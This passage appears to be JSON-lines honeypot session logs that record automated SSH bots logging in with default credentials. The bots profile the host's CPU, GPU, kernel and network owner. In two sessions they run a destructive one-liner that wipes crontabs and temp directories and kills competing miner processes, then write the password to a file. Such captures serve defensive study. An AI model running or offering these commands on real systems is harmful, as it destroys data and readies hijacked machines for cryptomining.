ipinfo.io/org"},{"seq":14,"at":"2026-08-24T09:50:12.546298+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T09:50:12.720970+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T09:50:16.309560+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T09:50:16.626713+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T09:50:20.852421+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T09:50:21.018407+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T09:50:25.809663+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T09:50:26.025277+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T09:50:29.605956+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T09:50:29.990517+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T09:50:34.210530+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elastic","password":"elastic","method":"password","accepted":true,"tier":"other"}]}
{"id":"df69c69c-8e83-421c-af09-0fe2a1b29913","name":"amber-creaky-meerkat","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.120","src_port":43682,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":447,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-22T12:06:14.166245+00:00","ended_at":"2026-08-22T12:06:22.583148+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-22T12:05:05.182253+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-22T12:05:09.296902+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-22T12:05:09.719238+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-22T12:05:15.685471+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-22T12:05:16.151135+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-22T12:05:20.410264+00:00","kind":"output","latency_ms":null,"data":"2 days,  8:55"},{"seq":7,"at":"2026-08-22T12:05:20.832300+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-22T12:05:26.336279+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-22T12:05:26.767074+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-22T12:05:32.396777+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-22T12:05:32.686137+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-22T12:05:37.090636+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-22T12:05:37.539067+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-22T12:05:40.143538+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-22T12:05:40.440043+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-22T12:05:44.842346+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-22T12:05:45.154746+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-22T12:05:50.722555+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-22T12:05:51.357046+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-22T12:05:56.184947+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-22T12:05:57.568912+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-22T12:06:00.491459+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-22T12:06:02.410911+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-22T12:06:06.588455+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-22T12:06:08.231477+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-22T12:06:14.166812+00:00","kind":"input","latency_ms":null,"data":"echo elastic > /tmp/d.log"}],"credentials":[{"username":"elastic","password":"elastic","method":"password","accepted":true,"tier":"other"}]}
{"id":"14bb07d5-a2ae-49f1-84ad-e04b165ccca9","name":"mighty-emerald-owl","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":45358,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":322,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T12:59:38.499755+00:00","ended_at":"2026-08-21T12:59:43.623794+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":863,"events":[{"seq":1,"at":"2026-08-21T12:58:43.843191+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T12:58:47.215654+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T12:58:47.578743+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T12:58:52.041991+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T12:58:52.291739+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T12:58:56.862039+00:00","kind":"output","latency_ms":null,"data":"1 day,  9:49"},{"seq":7,"at":"2026-08-21T12:58:57.067407+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T12:59:01.033789+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T12:59:01.382678+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T12:59:06.415792+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T12:59:06.885259+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T12:59:12.804119+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T12:59:13.238291+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T12:59:19.187994+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T12:59:19.660167+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T12:59:22.738574+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T12:59:22.922258+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T12:59:28.897499+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T12:59:29.219751+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T12:59:33.965459+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T12:59:34.150202+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T12:59:38.209333+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T12:59:38.500448+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T12:59:43.407797+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elastic","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"7f206484-921d-419e-8914-f5635fd0d627","name":"gloomy-woven-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":37098,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":190,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T18:35:47.935655+00:00","ended_at":"2026-08-20T18:35:55.073022+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1651,"events":[{"seq":1,"at":"2026-08-20T18:34:49.744603+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T18:34:53.060680+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T18:34:53.259635+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T18:34:57.428131+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T18:34:57.605480+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T18:35:01.059821+00:00","kind":"output","latency_ms":null,"data":"15:25"},{"seq":7,"at":"2026-08-20T18:35:01.239792+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T18:35:07.033957+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T18:35:07.208345+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T18:35:12.776781+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T18:35:13.037416+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T18:35:18.303212+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T18:35:18.609643+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T18:35:24.231995+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T18:35:24.504605+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T18:35:27.102434+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T18:35:27.291458+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T18:35:32.190038+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T18:35:32.380758+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T18:35:37.363240+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T18:35:37.533596+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T18:35:41.089678+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T18:35:41.273587+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T18:35:44.886000+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T18:35:45.118589+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T18:35:47.936310+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"elastic","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"0652b39a-8a5c-43a1-b0ce-f2a672f32eb7","name":"valiant-patient-ferret","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":51788,"username":"elastic","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":181,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T10:40:16.879116+00:00","ended_at":"2026-08-20T10:40:17.687540+00:00","ended_reason":"exec complete","commands":3,"transcript_bytes":220,"events":[{"seq":1,"at":"2026-08-20T10:40:15.660610+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T10:40:15.661025+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T10:40:15.825132+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T10:40:16.699171+00:00","kind":"output","latency_ms":874,"data":"x86_64"},{"seq":5,"at":"2026-08-20T10:40:16.879945+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T10:40:17.594142+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"elastic","password":"123456","method":"password","accepted":true,"tier":"other"}]}